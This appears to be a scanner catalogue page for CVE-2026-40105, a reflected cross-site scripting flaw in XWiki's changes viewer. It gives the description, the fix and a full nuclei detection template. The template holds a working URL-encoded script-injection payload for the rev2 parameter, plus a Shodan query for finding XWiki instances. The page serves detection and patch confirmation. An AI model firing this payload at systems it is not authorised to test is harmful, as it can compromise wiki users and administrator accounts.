XWiki - Cross-Site Scripting

mediumseverity

6.1CVSS score

0.5%likelihood of exploitation, next 30 days

46%of all CVEs are less likely

Readycheck to confirm it

XWiki is vulnerable to reflected Cross-Site Scripting (XSS) via the `viewer=changes` endpoint. The `rev2` parameter is not properly sanitised before being rendered in the response, allowing an attacker to inject arbitrary JavaScript. Affects XWiki versions prior to the patched release.

Impact

Attackers can execute JavaScript in users' browsers, potentially compromising admin accounts and the entire XWiki instance.

Fix

Update to a version later than 17.10.0 or apply the patch to templates/changesdoc.vm manually.

How to confirm it

Send: GET {{BaseURL}}/bin/view/Sandbox/?viewer=changes&rev1=9.1&rev2=xar%3Aorg.xwiki.platform%3Axwiki-platform-distribution-flavor-common%2F17.6.0q1che%27%3E%3…
Positive when: contains "<script>alert(document.domain)</script>" and "<h1>Changes for page" and "From version" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2026-40105 -u <target>

The full check

id: CVE-2026-40105

info:
  name: XWiki - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    XWiki is vulnerable to reflected Cross-Site Scripting (XSS) via the `viewer=changes` endpoint. The `rev2` parameter is not properly sanitised before being rendered in the response, allowing an attacker to inject arbitrary JavaScript. Affects XWiki versions prior to the patched release.
  impact: |
    Attackers can execute JavaScript in users' browsers, potentially compromising admin accounts and the entire XWiki instance.
  remediation: |
    Update to a version later than 17.10.0 or apply the patch to templates/changesdoc.vm manually.
  reference:
    - https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-w4fj-87j5-f25c
    - https://nvd.nist.gov/vuln/detail/CVE-2026-40105
    - https://jira.xwiki.org/browse/XWIKI-22481
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2026-40105
    epss-score: 0.00549
    epss-percentile: 0.46285
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 2
    vendor: xwiki
    product: xwiki-platform
    shodan-query: http.title:"XWiki"
  tags: cve,cve2026,xwiki,xss

http:
  - method: GET
    path:
      - "{{BaseURL}}/bin/view/Sandbox/?viewer=changes&rev1=9.1&rev2=xar%3Aorg.xwiki.platform%3Axwiki-platform-distribution-flavor-common%2F17.6.0q1che%27%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Evfu80q44msz&form_token=test&language=en"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain)</script>"
          - "<h1>Changes for page"
          - "From version"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from